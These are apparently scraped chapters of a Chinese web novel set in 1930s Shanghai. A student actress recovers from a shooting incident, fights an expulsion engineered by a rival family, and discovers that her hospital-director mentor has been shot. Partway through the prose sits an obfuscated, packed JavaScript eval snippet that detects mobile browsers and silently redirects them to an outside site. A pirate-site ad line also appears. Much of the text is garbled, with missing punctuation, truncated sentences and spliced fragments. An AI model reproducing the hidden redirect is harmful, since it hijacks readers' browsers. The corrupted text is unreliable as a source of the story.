陪护却说:“邝先生早上就着人去请闻小姐的家人这会儿应该已在路上了。” 闻亭丽着实有些无所适从稍后外科主任过来细细检查一番说再用几天消炎药就无碍了。 医护们一走廊道上传来小桃子稚气的声音伴随着周嫂的制止声:“嘘!嘘!这是医院不要吵。” 闻亭丽忙要下地那陪护抢先迎了出去很快周嫂忐忑不安牵着小桃子进来了而昨晚那位邝先生则笑容满面跟在后面。 “闻小姐昨晚睡得可好?” 闻亭丽刚要答话小桃子就挣脱周嫂的手跑过来抱住闻亭丽的腿放声大哭起来周嫂红着眼睛说: “这孩子以为进医院就是生重病生怕姐姐变得跟爹爹一样还在路上就哭个不停。” 闻亭丽额头抵住小桃子的额头涩然说:“姐姐只是摔了一跤 她将大拇指和食指捏成细细的一条缝给小桃子看紧接着便下床轻轻松松走一圈:“瞧姐姐是不是没事?” 小桃子这才破涕为笑两手搂紧姐姐的脖颈不论周嫂怎么拉拽都不肯从姐姐身上下来。 “怎么好端端进了医院?”周嫂担忧地问。 闻亭丽用轻松的口吻说:“昨晚比赛得了冠军嘛我太高兴了一不小心就从楼梯上摔了下来刚好黄导演也在旁边怕伤到骨头就把我送到医院来了这位邝先生也是黄经理的朋友。” 邝先生 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吃饭时周嫂时不时露出疑惑的神色因为这早餐实在奢僭得过头闻亭丽怕她多问一吃完饭便以父亲那边没人陪为由力劝周嫂带小桃子回去了。 她们前脚刚走郑主任就带着赵青萝和燕珍珍等人来了后头还跟着黄远山。 几人担忧地围在床头问个不停:“昨晚不就是回去拿个背包吗怎么把自己弄到医院 来了。” 闻亭丽指了指自己的胳膊,笑着解释了几句。 黄远山从头到尾没吭声,闻亭丽心里清楚,看样子,陆家已经暗示黄远山对外该怎么说了。 赵青萝把一沓报纸塞给闻亭丽:“你瞧,今早全上海的报纸都报道了昨晚的话剧比赛,这下你成名人了。” 闻亭丽乐陶陶打开看,她和乐知文、徐维安三人的相片放在最显眼的位置,标题无不例外写着: 【首届沪上青年话剧比赛爆冷门:新人闻亭丽小姐力压乐知文和徐维安。】 闻亭丽边看边美滋滋地笑:“郑先生,学校这回可以帮我评育英奖学金了吧。” 郑主任哭笑不得:“都什么时候还在想奖学金的事,这是你为学校获得的殊荣,百分之百给你评。” 燕珍珍说:“话剧社的同学都说要好好庆祝一下,学校附近的大雅楼广东菜做得不错,不如我们提前订好席,等你出院那天我们来接你。” 说笑一晌,郑主任带着同学们便要告辞,黄远山只说还有一些赛后的事要找闻亭丽聊,暂时还不走。 等到病房里只剩她们两个人了,黄远山让自己的小助手守在门外,关上门,将一份合同坐到床边,兴致勃勃地说:“《南国佳人》的合同我带来了,你仔细看看,尽快签字。” “这么急做什么,我的伤还没好呢。” 黄远山一拍手:“先前我们可是说好了的,我帮你搞个规模宏大的话剧比赛,你答应出演这部戏,昨晚你力压群雄得了冠军,总不能说话不算话吧。这部戏大约九月初就要开拍,剧组还得按照你的身量提前裁服装呢。” “黄姐。”闻亭丽忽然小声说,“昨晚究竟怎么回事?为什么陆家不让巡捕房的人追查凶手?” 黄远山面孔一紧,把手指抵在唇上示意闻亭丽噤声:“昨晚的事最好烂在肚子里,千万别对第二人说起。” “我只是想知道昨晚那凶徒是谁。” 黄远山竖着耳朵侧头倾听片刻,用极细微的声音说:“昨晚你没听邝先生说么,那是陆家的家事,我猜多半是那位陆三爷,也就是陆世澄的三叔派人来暗杀陆世澄。“ 陆三爷——那位长相最像南洋姨太太,也历来最受陆老先生宠爱的小儿子?“他不是双腿都残疾了吗?” “双腿是残疾了,脑子可没残疾,前年出事后,他就被陆世澄赶去了北平,如今陆家大小事项都没这位陆三爷说话的份,本就是个不安分的人,又如何肯死心?昨晚多半是他那边又有什么动静,陆世澄将计就计设下了一个圈套,可他没想到你误打误撞闯进进了这个圈套。” 闻亭丽暗想,难怪昨晚她闯进去时,陆世澄坐在沙发里,手里的枪却静静指着门口,俨然等待多时。事发后,邝志林那帮人又来得那样快 看她只顾着发愣,黄远山指了指床头几乎要堆成山的营养品,眨眨眼:“这些都是陆世澄令人送来的?” 作者有话要说 注:民国时已有瓶装矿泉水,例如宋美龄就很喜欢维琪牌瓶装矿泉水,“维琪”也就是现在的vichy,现在这牌子好像只做喷雾和护肤品了。 更正,下一更存稿是8817字,依旧是晚上八点发布,入v啦,本章有红包。 第 18 章 借力打力 “不是,是那位邝先生送来的。” “那就相当于是陆世澄送的,这个邝志林是陆世澄的心腹,在陆家地位可不低。” 这时,黄远山的小助手突然在外头咳嗽一声,想必是邝先生过来了。 闻亭丽忙拔高嗓门:“黄小姐,上次我就跟你讲了,提前签合同可以,但影片一定要等我参加完中学毕业典礼再开拍,假如那时候我考上了大学,黄先生还得跟我的大学再进行新一轮沟通,总之不能影响我的学业,还有,我只是个学生,生平第一次签合同,我得先拿着合同去问问我的律师朋友,假如律师看了也认为没问题,我再同您签字。” 黄远山也朗声说:“哟,闻小姐还认识律师届的朋友呢?很好,这方面黄某素来童叟无欺,闻小姐随便请律师帮你把关,你是新人,片酬跟敝公司的段妙卿几个自然没法比,但也绝不算低,一部片子九百大洋,拍好后一次性付清,对这数目满意否?” 闻亭丽嗓子发干,心乱跳,有了这笔钱,就不愁日后念大学没有费用了。况且这是她靠自己本事赚到的第一笔钱,一想起这个,就忍不住想昂高脑袋。 但她面上尽可能做出很冷静的样子,只淡淡“嗯”了一声。黄远山只当没看出闻亭丽是在装模作样,笑着抚住自己的额头:“那我就先告辞了,这是你昨晚落下的书袋,我们给你拿来了,你好好休息。” 黄远山走后,那位邝先生并没有进来,想是听见她们在屋里说话,自动避开了。闻亭丽立即关上门从书袋里取出一张名片。 名片上写着:上海曙光律师事务所,包亚明。 自从上次邓院长给她这张名片,她就将其当作宝贝一直随身带着。 演电影对她来说是大事,这部戏的主角身份又是那样特殊,事先请包亚明这样的大律师帮忙看看合同总没错。 这间豪华病房里配有单独的电话,闻亭丽正要拨打名片上的号码,想了想又放下,还是先跟邓院长打个招呼吧,不然显得有点冒昧,毕竟这位包大律师此前从未见过她。 饭毕,那位邝先生又过来了一趟,这回他给闻亭丽带来了几套昂贵的洋裙。 “这是陆小先生赔的。昨晚的事不仅连累闻小姐受伤,还害得你的衣袖被灼破,澄少爷心里很是过意不去,今早 特地令人去惠罗公司买了几条裙子。” 闻亭丽瞥见衣领上的法国女装标签不禁吓一大跳她那件旗袍用的是最普通的面料一百件加起来也不及面前这一条洋裙贵。 “这不行邝先生快请收回去——” 但邝先生不容分说让陪护将裙子挂到衣柜里:“都是比照着闻小姐的身量买的稍后闻小姐自己试一试有什么不满意之处邝某立刻令人去换。”说完这话他含笑退了出去。 闻亭丽望着衣柜发呆即便要赔也没有赔这么多件的道理不能收无论如何得找个机会还回去。 下午没事她把书包里的课本找出来专心致志温习了几个钟头的功课晚间想去盥洗室洗个头陪护却让闻亭丽躺在床尾不要动说是怕她累着将一盆温水端到床尾给闻亭丽细细洗了一遍头洗发香波也不知用的什么牌子幽馥的香味直飘到走廊上去。 闻亭丽僵在床上不敢动陆家待人太过细心明明在病房却让她处处感觉自己像个皇帝再这样搞下去等到出院那天她怕是连路都不会走了。 第二天早上趁外科的廖主任过来查房闻亭丽便以要上学为由强烈要求出院。廖主任看伤口恢复得不错也就同意了给闻亭丽开了几剂口服药让她拿回家自己服用。 在闻亭丽收拾的当口邝先生同廖主任一起过来探望她。 “也好闻小姐正是好动的年纪 闻亭丽心弦一动这话听起来诚挚又热心她若是趁势开口说不定邝先生真会让校方好生关照她毕竟务实女子中学正是陆家名下的产业。 然而邝志林话虽这样说却并没有将自己的名片递过来想来对她仍有些防范心理。 闻亭丽垂眸微笑也对那一晚她的出现太过偶然邝志林会对她起疑心也正常如今伤也帮她治了衣服也赔了这几天还专门派陪护照顾她陆世澄跟她之间就算是两不相欠了。 于是她并没有接着邝志林的话往下说而是将那张银票找出来递给邝志林:“这是那晚陆小先生落下的烦请邝先生帮忙还给陆小先生。” 邝先生不露声色看看银票上的字迹,又看了眼银票的数目,抬起眼皮,仔仔细细重新审视一番闻亭丽,露出一点笑意,将银票纳入口袋里:“好,我会替闻小姐转交的。闻小姐有伤在身,邝某让他们送你回去,是直接去慈心医院吗? “不必了。闻亭丽忙摆手,“我自己坐车回去就好。 可是陆家的车已经在台阶前等着了,一看她出来,司机赶忙把车门打开,闻亭丽无奈,只得向对方欠了欠身。上车前,下意识看看四周,说来奇怪,自打那晚她从黄金剧院出来,就没再看到过乔太太的人,也不知是被陆家的人清走了,还是乔太太最近忙着操办儿子的婚礼没空管她这边。 没等车开动,邝先生就提着一包东西追出来了:“闻小姐,你落了东西。 闻亭丽为难地微笑着:“烦请邝先生把这些衣裙退回去吧,我那件旗袍很旧了,样式也普通,真不必专门赔新的给我。 “看来,闻小姐是不满意这些裙子的款式?邝某这就令人重新去买一批,这些扔了便是。 闻亭丽一吓:“别扔!别扔!真拿您没办法,好吧,我收下便是。 邝先生笑眯眯将纸袋送进来。 到了医院,闻德生一看到女儿就焦声说:“昨晚去哪儿了? 闻亭丽把“话剧大赛的奖杯给父亲看,又指了指自己胳膊上的伤口,把先前在医院里对周嫂说过的同一套话,在父亲面前又说了一遍。 闻德生看见那金灿灿的奖杯,不禁悚然动容,忙伸出骨瘦的手,小心翼翼抚摸着。 “得奖了?市里的第一名? 闻亭丽骄傲点头。 “真好……闻德生的声线开始颤抖,“好孩子,真有出息,比爹有出息多了! 闻亭丽眼眶微热,别过脸去,过一会又若无其事回过头来:“这算什么,将来还有更大的出息呢,别把肩膀露在外头了,当心着凉。 下午闻亭丽提前销假去学校,刚巧燕珍珍急匆匆从课室出来。 “你出院了?我刚要给你的病房打电话呢。快跟我去校长办公室,郑主任跟米歇尔校长为了你的事快吵起来了,赵青萝也在那儿。 两人跑到小白楼,刚踏上走廊就听见郑主任激昂的说话声。 “闻亭丽代表务实荣获大赛冠军这是无上的荣誉校方为何不能给她颁发育英奖学金?这些日子闻亭丽和赵青萝她们天天在礼堂排练到九点半您对此想必也有所耳闻假如这次学校不肯给予奖励往后恐怕没有哪个学生会再为了务实的荣誉积极备赛!今天您不给我一个合理的解释我就赖在您的办公室不走了。” 往里看就看见郑主任和赵青萝立在米歇尔的办公桌前气氛剑拔弩张。 米歇尔淡声说:“闻亭丽获得冠军是值得嘉奖但校方不肯给她颁发奖学金另有原因。我刚得到消息闻亭丽未经学校许可擅自跟影视公司签订合同这是严重违反务实校规的行为!倘若经查属实校方非但不可能给她颁发育英奖学金还会考虑将闻亭丽开除。” 闻亭丽一骇米歇尔怎会这么快得到消息? 转念一想乔老爷和乔太太派人跟踪了她这么久想必早已知道黄远山找她拍戏的事呵他们一心想把她撵出上海怕务实因为这次拿奖的事准许她参加联考索性让米歇尔利用这个借口向她发难。 万幸她多留了一个心眼没有立即跟黄远山签订合同。 郑主任和赵青萝面面相觑:“演电影?我们怎么不知道这件事?” 米歇尔的表情饱含深意:“关于闻亭丽你们不知道的事多了——” “米歇尔校长!”闻亭丽进去打断她“前晚比赛我取得冠军之后黄金影视公司的黄导演的确有意向要找我拍戏但我明确告诉她要在中学毕业之后再商量而且我也要求她在正式开拍前务必取得我所在学校的准许。不知道校长从哪里得到的谣言说我擅自答应这事?” 燕珍珍也趁势说:“就是!比赛当晚闻亭丽连记者的采访都不轻易接受又怎会不经学校允许擅自签订什么合同?” 郑主任给学生们一个安抚的手势转身从容对米歇尔说:“在我的印象中您一向是开明温和的但在闻亭丽这件事上您为何表现得如此不讲道理?我们跟闻亭丽相处下来对她的为人再相信不过了您是不是对她有什么误会?” “误会?看来你们对她还不够了解。”米歇尔扔出一沓照片“自己看吧都举报到我这来了。” 几人惊讶地围过去照片上是一张剧本的近影 题赫然正是《南国佳人》另一张则是合同意向书女主演一栏写着“闻亭丽”三个字照得这样清晰想必是有人趁黄金影业的人不注意偷拍的。 “这能说明什么?” 然而看到最后一张照片时几个人集体不说话了因为相片上正是黄远山和闻亭丽两个人隔着一张咖啡桌面对面说话桌上则摆着一份阔大的剧本黄金影业的剧本一向是特制的两下里一对比就知同一个剧本。 “还有话说吗?”米歇尔讥诮地说“你跟黄导演接触不只一次两次了黄金影业某位制片人亲口正式你已经签订了合同片酬是九百大洋预定九月份开拍听说该剧组已经开始为你专门订制服装了。” 闻亭丽百口莫辩。 “我知道闻小姐齿牙锋利但这些照片可骗不了人如今证据确凿我作为主抓纪律的副校长必须针对你的问题马上召集校董开会你们再在这里吵闹我就让校工把你们统统赶出去。” 她们就这样被撵了出来连郑主任也不例外。 郑主任一把拽住闻亭丽。 “你实话告诉先生你真答应演戏了?” 闻亭丽耷拉着脑袋没吭声。 “为什么呀?”赵青萝急得推闻亭丽的肩膀“你知不知道这样做是违反校纪的?” “我没有签字。”闻亭丽抬起头“而且我跟黄经理讲好了毕业之后再开拍米歇尔非要拿这件事大作文章我也没办法。” “这种行为本来就很难界定。”郑主任气急败坏地说“你一个学生怎能私下跟影视公司的人接洽?即使你不怕被开除电影届鱼龙混杂那些人是你能随随便便打交道的?你不是立志要考大学吗我看你一有空就躲在一边看书好端端地你又去拍什么电影?!你真要急死老师嘛?” “是因为家里的事吧?”燕珍珍从刚才起就没说过话这时候倏地开了腔。 赵青萝和郑主任惊讶地把目光转向她。 “我猜的。”燕珍珍耸耸肩 是真穷。” 闻亭丽坐到花坛边捡起一根树枝划了划脚下的泥:“燕珍珍你是不是早就埋怨我不回请了?” “她说的是真的?”郑主任推了推她的肩膀。 “我爸爸在住院家里现在没收入我想攒点钱上大学。黄金影业给的片酬很高而且这次的剧本又是北平名笔月照水女士写的她的电影一向具有深刻的社会意义我是经过再三的思考才答应黄导演的。” 郑主任和赵青萝心酸地摸摸闻亭丽的脑袋懊丧了一会郑主任重新振作起来:“不怕我先给邹校长打个电话她老人家绝对能体谅你的难处总之我不能眼看着米歇尔独断专行。” 郑主任这一去直到放学时分都没能回来。闻亭丽心知无望只得在心里另作筹划本已经走出校门了又转身回学校正在这时一辆奶油色的车开了过来。 “闻亭丽!” 竟是久违的乔宝心。 乔宝心穿一件蜜合色洋装一下车就疾步朝闻亭丽走过来:“我正到处找你呢咦你的胳膊怎么了?“ “前几天不小心摔了一跤没事只是一点皮外伤。” 乔宝心压低嗓门说:“放心我妈的人不在附近。我只是听说我爸妈又找你麻烦了特地过来看看能不能帮上忙。” 两分钟后两人在街边的西点店对着坐下。 乔宝心给闻亭丽和自己点了咖啡和小蛋糕却不吃也不喝 闻亭丽无动于衷。 乔宝心叹气说:“亭丽我不是要在你面前代我哥诉苦我哥这样痛苦也不单单是为了你凡是有自由意志的人都忍受不了这样封建的家庭此前我哥一直被我爹软禁在书房里我也闹不清我爹妈最后用什么法子让我哥死的心但想必他们自己也清楚这婚事一点也不牢靠他们无计可施只能迁怒于你。” 闻亭丽冷笑:“难道把我赶出上海你哥和你嫂嫂就能白头到老了?!说来说去不过是仗势欺人罢了!” 乔宝心惭愧地低下脑袋闻亭丽忽道:“宝心你认识我们学校的米歇尔校长 么?你姆妈跟她是不是很熟? 乔宝心点头:“她经常来我家。她虽是英籍洋人,却是在香港长大的,她跟我姆妈当年同在香港某间教会学校念书,只不过姆妈一毕业就回上海嫁人,而米歇尔则一直念到大学毕业。据说米歇尔家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13149141|135222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 境并不富裕,当初念大学的费用还是妈妈资助的,两个人交情这样深,米歇尔肯陪我妈胡闹不奇怪。对了,你们学校现在怎么说?难道就任由米歇尔针对你吗? 闻亭丽咬了咬唇:“她在学校待了不少年头了,务实上上下下都对她风评不错,再说,就算校董会明知米歇尔故意针对我,也不可能为了帮一个学生去反对副校长的意见,况且我违纪是事实。 乔宝心握紧拳头:“说来说去,症结还是出在我爹妈身上,我现在可真恨他们!出门前我刚跟我妈大吵了一架,可恨我那些威胁的话对她丝毫不起作用。我又去求我祖父,可惜我连他老人家的面都见不着,至于我哥和莉芸嫂嫂……婚礼一结束,两边的父母就逼哥哥嫂嫂去度蜜月,这会他们多半已在去澳洲的轮船上了。 说更新,记住域名caixs.com卐(请来才小 说 看最新章节 完整章节) 说到这里,乔宝心苦恼地搓了搓自己的脸,眼睛忽一亮:“对了。刚才我在家里看到我小表舅了,他听说这件事,当着我姆妈的面,把我爹和姆妈好好嘲讽了一顿,我问小表舅有没有法子,小表舅说办法倒是有,但必须你亲自跟他把来龙去脉说清楚,说完这话他就走了,亭丽,要不我们去找我小表舅帮忙吧?他一定有法子对付我爸妈的。 闻亭丽张了张嘴,她相信,只要她亲自开口求孟麒光帮忙,他绝对会帮她把这件事处理得极其干净漂亮,而且不只这一次,往后乔家人和米歇尔也都不会再找她麻烦。 但如此一来,她俨然又被一根看不见的线引到了悬崖边,前方是极具迷惑性的美丽花园,只要她意志力稍一薄弱,就可能放任自己跳下去。 其实早在邱凌云找她麻烦的那一晚,她就看出孟麒光是个操弄人心的高手,这样的人往往颇有城府,同时又富有魅力,她没有把握应对这种危险的男人,为此一直有意避免跟孟麒光打交道。 上回已经委婉拒绝过孟麒光一次,所以这一次,他干脆不再主动,而是等着她自己找上门去…他当真是人精中的人精,不,她不能去—— 思量间抬头,恰对上乔宝心充 满关切的目光宝心眼里的真挚和焦急是断乎作不了假的闻亭丽心窝一暖:“不必找他我已经想到别的法子了。” “真的?” 闻亭丽“嗯”了一声比起孟麒光的道行宝心的城府太浅也太嫩难怪会不知不觉成为自己表舅的传话筒。 她心里什么都明白 乔宝心从身旁的小拎包里取出一百大洋塞给闻亭丽:“你现在一定很困难你拿着这钱先应付一阵等我自由些再设法给你送钱。” “用不着快拿回去我有钱我家洋服店囤的那批货折卖了一个好价钱足够我们应付个一两年了。” 乔宝心却非要把钱塞到闻亭丽的书袋里:“你不拿我就不走!” 闻亭丽无奈:“等我缺钱我一定会找你帮忙行不行?” 两人从咖啡馆出来乔宝心忧心忡忡地说:“也不知道你的法子行不行得通米歇尔既然要开除你绝不会等到邹校长回来再动手我猜就是这一两天了这样我再去劝劝我姆妈假如你的法子行不通一定要赶快告诉我。你直接给陈艾莎打电话她有法子联系到我。” 闻亭丽立在街边目送乔宝心的车远去一抬头眼看要天黑了。 低头望望自己受伤的胳膊又抬头看看对面校门旁“陆氏捐赠”几个大字她硬起心肠做了个决定。 十分钟后她再次从学校礼堂里的盥洗室出来只是刚才她的胳膊还好好的这会儿纱布全湿透了她忍痛叫了辆黄包车径自回到了慈心医院。 不出所料半夜就开始发烧捱到六点钟胳膊已经痛到抬不来了。 闻德生的陪护在医院里做了好几年经验已经相当老道一看就惊呼:“闻小姐你的伤口发炎了快叫大夫帮你看看这万万拖不得的。” 闻亭丽却直接出门赶往惠群医院。 下车后径直去外科病房病房里的大夫和护士对这爱说爱笑的小姑娘印象蛮好笑道:“这不是闻小姐吗?你怎么又回来了?” 闻亭丽苦着脸:“我好像发烧了。” 医护们忙去请上回那位姓廖的外科主任。 廖主任揭开纱料一看,伤口已经有了红肿渗水的迹象,他直蹙眉头:“怎么才一天就感染成这样?!你有没有按时吃药?” 闻亭丽没吭声,只默默坐在那里抹眼泪。 “怎么了?出什么事了?” 闻亭丽抽抽嗒嗒地说:“真难为前几日邝先生那样关照我,可现在,真恨不得那颗子弹直接打穿我的胸膛才好,那样我也就没这么多烦恼了。昨天我刚出院,学校里一个副校长就诬陷我违纪,非要把我开除。我是一心要考大学的,假如书念不成了,我也不想吃什么消炎片了,让这伤口烂掉好了,” 廖主任露出不可思议的表情:“闻小姐不是在务实念书吗?哪位校长要开除你?” 闻亭丽只是心灰意冷地摇头,廖主任欲言又止。 换完药,护士过来给闻亭丽挂吊瓶。 在等待注射的空隙,闻亭丽借口要去洗手间,悄悄到外科主任门前转了一圈,办公室的门虚掩着,里头隐隐约约传来细微的说话声。 她蹑手蹑脚回到注射室,中午打完最后一针,廖主任仍旧未现身,尽管如此,闻亭丽心里也已经有了五成的把握。 回到学校,迎面撞上赵青萝和话剧社的一班同学,她们刚从食堂出来。 “好点了吗?”赵青萝迎向闻亭丽,“是不是为着昨天的事太焦心,不然好端端怎么又烧上了?” 闻亭丽只问:“米歇尔那边有结论了?” 同学们面面相觑,赵青萝懊丧地摇摇头:“听说已经在拟开除你的文书了。” 旋即又说:“不过你放心,郑主任刚买了去北平的火车票,她打算这周末将你的事当面告诉邹校长,我们的邹校长一贯爱惜人才,绝不会让你就这样被开除的。” 话虽这样说,赵青萝的语气却并不笃定,那边燕珍珍跑过来了:“闻亭丽,柳先生和教务处的陈先生正到处找你呢。” 刚到走廊上,就看见班主任柳苑华和上回那位凶巴巴的陈处长在门口说话。 柳苑华仍是一团和气,令人没想到的是,陈处长今日竟也是笑吟吟的样子。 “等你半天了。”陈先生空前热情,“恭喜闻亭丽同学,学校为了表彰你在上海青年话剧大赛中的表现,决定给你颁发育英奖。校方已在拟布告了,我先 第 19 章 (捉虫)临危受命... 这一等,就是十来天,这日大约是陆世澄终于得了空,校方通知闻亭丽下个礼拜星期五放学之后去陆公馆领奖。 闻亭丽喜滋滋应了。 傍晚回到慈心医院,陪护说:“邓院长下午来查过房。对了,还有一位姓包的先生叫你给他回电话。” 闻亭丽一脸惊喜:“院长她老人家回来了?” 上礼拜邓院长去南京开会,算起来有好几天没见到她老人家了。姓包的先生?一定是包亚明,看样子,邓院长一回来就帮她跟包律师联络好了。 她给包律师事务所打过去,电话那头是一位说话爽利的女士。 “这周四傍晚六点钟,包律师有一个钟头的空余时间,闻小姐带着合同直接到事务所来,切记别迟到。” 闻亭丽郑重记下时间。晚上趁人不注意,她悄悄到四楼去寻邓院长。 邓院长果在办公室。 “您从南京回来了?!”闻亭丽欢快地将一兜水果和宵夜搁到邓院长的手边。 邓毅被闻亭丽的笑容所感染,脸上也跟着泛起浓浓的笑意。 “包亚明已经让人联系你了吧?” “嗯。”一说到这个闻亭丽就有点紧张,她长这么大,还是第一次跟这样的名律师打交道,“正要向您请教呢,这位包大律师性子如何?同他打交道有什么要注意的事项吗?” “他跟你约的几点?” “礼拜四下午六点。” 邓毅端着茶盅想了想:“那天下午五点钟我正好要跟人到礼查饭店谈点事情,那地方离包亚明的事务所不远,要不你五点半来利查饭店,到时候我同你一起去见包亚明。” 闻亭丽喜出望外:“有您亲自带我去,我就不用担心自己闹笑话了。” “我可从不担心你会闹笑话。”邓院长含笑摇摇头,“你啊,你是我见过的最大方的孩子。” 桌上的电话响了,她接起电话:“喂,我是邓毅。” 不知对方说了句什么,邓毅马上捂住话筒看向闻亭丽,闻亭丽乖觉地告辞。 礼拜四这天,闻亭丽掐着点赶到礼查饭店,说好了五点半汇合,结果一直等到五点四十都没看到邓院长从饭店出来。 闻亭丽有些纳闷,邓院长是个心细又守时的人,莫不是被 什么急事绊住了。 再等下去就赶不及去准时见包律师了只得先行离开礼查饭店这个变故导致她原计划晚出发十分钟怕迟到随手在路旁叫了一辆黄包车。 坐上车没多久就听身后的街角发出“砰”的一声怪声乍听之下像是除夕的爆竹响可是传到闻亭丽的耳里却让她浑身一僵。 枪响! 绝不会错 她紧张地抓住车篷:“师傅你听见了吗?” “什么?”车夫一脸茫然正当这时一辆汽车呼啸着从她们身边擦过。 闻亭丽正如惊弓之鸟下意识一回头恰巧那车的窗户开着后座上坐着的人竟是邝志林。 邝先生也正扭头望着枪声传来的方向眉毛微抬一副很吃惊的样子。 不等她看清楚这车就飞驰着消失在街头。 “那边出什么事了?”黄包车师傅伸长脖子张望一晌终于有点慌了抬起车把就要跑开闻亭丽却突然从车上跳下来不顾师傅诧异的目光转身朝出事的方向跑去。 街上早已大乱人群惊叫着四散逃开还有一小撮不怕死的同闻亭丽一样一径朝礼查饭店跑。 “吓人呐礼查饭店大堂地上全是血。”闻亭丽听在耳里心脏愈发狂跳不已卯足了劲逆着人流向前跑一边跑一边紧张地用目光在路边搜索可她始终没能在人堆里发现邓院长的踪影。 好不容易挤到礼查饭店门口就见大堂里聚满了黑衣巡捕忽听一阵低嚷声巡捕们用担架抬着一个人出来了:“快让开!别挡路!” 人群自动向两边分开闻亭丽拼命踮起脚向前看可惜担架上的人从头到脚被一件黑色大衣蒙住了什么也看不见颠踬间一只戴着腕表的手从担架上滑落下来。 闻亭丽额角一跳。邓院长! 那是邓院长的手表! 警察很快将那人抬上了一辆车她满心惶然向前追去却被一根质硬的的物件重重抵住肩膀。 “退开!这地方要进行搜查!” 闻亭丽被警棍推得一个趔趄双眼却死死盯着那辆车消失的方向。明明在盛夏牙齿却不受控制地上下打战只听周围的行人议论 纷纷。 “中枪的人究竟是男是女?” “我听饭店的印度门房说 闻亭丽如梦初醒这附近最近的一家医院就是圣玛丽医院假如她马上召一辆黄包车追到圣玛丽医院说不定能打听到点什么正要找寻黄包车猛不防在人群里看到了一个人。 那是一个中年女人短发眼神清亮而敏锐身板挺拔站在人堆里有一种如竹如松的气度。 因着这份独特的气质闻亭丽一眼就认出了这个人前不久她在邓院长的办公室见过这女子她听见院长叫这人“成英。” 成英死死盯着汽车远去的方向那惨白的面色表明她也正处在极大的惊怒中但成英显然非常警醒不等警察问到近前便镇定自如退出人堆改随另一拨行人疾步朝对街走过来。 可就在这时候她撞上了闻亭丽的视线先是一愕随即盯着她上下打量看这样子她也认出了闻亭丽。 闻亭丽的脑子和心一样混乱直觉告诉她成英跟邓院长的关系不一般但在这种特殊的境地里她根本无法判断成英究竟是敌还是友出于一种自我保护的本能不露声色挪开了自己的视线。 再瞟过去成英的身影已经消失在人潮里。 对街警察已经开始盘问行人了闻亭丽只得退到另一个街角街上人太多她费了许多工夫才召到一辆黄包车。 赶到圣玛丽医院急诊室里却异常清净楼上楼下跑了几趟既不见警察的踪影也不见闻讯赶来的报界人士。 闻亭丽一无所获只得又赶回慈心医院。往日为了避人耳目她总是要捱到九点以后再去寻邓院长但这次她一回来就直奔四楼。 院长办公室的门紧锁着闻亭丽“笃笃笃”敲着门。 她多么希望房门里能像往常一样响起那声慈蔼的“请进”。 今晚房内却只有死一般的寂静。 她杵在门口胸口像铅块一样沉沉坠着忽想起汤普生大夫忙下楼去办公室找他。 谁知又扑了空护士说汤普生两个小时前就走了接班的夜班大夫边打呵欠边写病志那副悠闲自在的样子委实看不出有异。 闻亭丽开始安慰自 己,或许中枪的并不是邓院长,不然慈心医院的医护人员早该炸开锅了。 当晚,她照旧在病房里的陪床上睡觉,半梦半醒间,忽被人轻轻推搡了一下,她惊醒,见是一位面熟的护士,这人姓刘,是内科病房的护士长,为人很和善,平时总是笑呵呵的。 此时的刘护士长却是满面忧色,看她醒了,低声说:“小闻,跟我来,外头有人找你。” 出来看,闻亭丽一呆,竟是成英。成英手里提着一个公文包,含笑向她走近:“闻小姐,还记得我吗?我们在邓院长的办公室见过的,有位长辈受了伤,特让我带你去见她一面。” 闻亭丽的心一阵狂跳,因为她一眼就认出成英手里的公文包正是邓院长总提着的那个,包身已经很旧了,邓院长却老舍不得换。 长辈?难不成她说的是邓院长。刘护士长在旁做介绍:“厉女士是济世私立医院的外科大夫,她跟邓院长是老朋友了,我们医院许多人都认识她,去一趟吧,没关系的。” 原来她姓厉。 “忘记作自我介绍了,我姓厉,全名厉成英。” 闻亭丽立刻决定暂时放下戒心,不为别的,只为她曾亲耳听过邓院长称呼成英“奇女子”,而且,刘护士长要不是跟厉成英也有着极深的交情,是绝不可能深夜把这人领进病房的,在内科病房住了这么久,她对刘护士长的为人很了解,能被邓院长和刘护士长同时信赖的人,绝不可能会是坏人。 她忙对厉成英点点头,回病房匆匆向陪护交代一句,出来同厉成英上了一辆车。 路上,两人一句话都未说。厉成英拧眉默然想着事情。闻亭丽一颗心七上八下,也没心思聊天。 车停了,外头却不是某家医院,而是一幢半旧的三层小洋楼。 厉成英下车揿响门铃,立即有人开了门。 夜太黑,看不清周围的景致,穿过前庭花园,就看见明亮的客厅里有个人在来回踱步,这人年约四五十岁,花白头发,络腮胡,鼻梁上戴一副金丝眼镜。 闻亭丽一下子就认出他是大名鼎鼎的包亚明律师,因为她不止一次在报纸上看过他的照片,此外,窗前还站着一位高个头的中年女子。 听到门响,两个人警惕地转头。 厉成英领着闻亭丽入内: “这位是包亚明律师,邓院长之前应该已经向你介绍过他。那位是立明出版社的陈编辑,你可以叫她陈女士。 “你好。陈女士主动过来跟闻亭丽握手,“经常听邓院长提起你。 包亚明却留在原地戒备地打量闻亭丽,他的眼睛锐利如鹰隼,似能一眼看透人心:“闻小姐,下午你明明约了来律师事务所见我,为何六点钟你没有来赴约,反而出现在礼查饭店门口? “老包,现在可不是在法庭上,你这样会吓到小闻的,小闻,你先坐下喝口水。 闻亭丽焦急地环顾四周:“邓院长在哪里? 厉成英拉着闻亭丽在沙发上坐下,低头默了好一会,沙声说:“邓院长现在在仁济医院抢救,目前还未度过危险期。 闻亭丽浑身一震:“下午中枪的真是她老人家?! 厉成英面色灰败:“是,只是刺杀邓院长的凶徒还未抓到。我们找你来,就是想向你打听今天下午的情况。 闻亭丽压下汹涌的泪意,尽可能用镇静的语气说:“星期三晚上我去找邓院长,她要我当天先去礼查饭店等她,到时候她带我一起去找包律师,可我等到五点四十也没见到她老人家,怕迟到,我就先走了,走出去没多远,就听到了枪响—— “礼查那条街一向喧嚷。包亚明冷不丁发问,“闻小姐只是个学生,想必你之前从未接触过枪械,凭什么那么快判断出那是枪响? 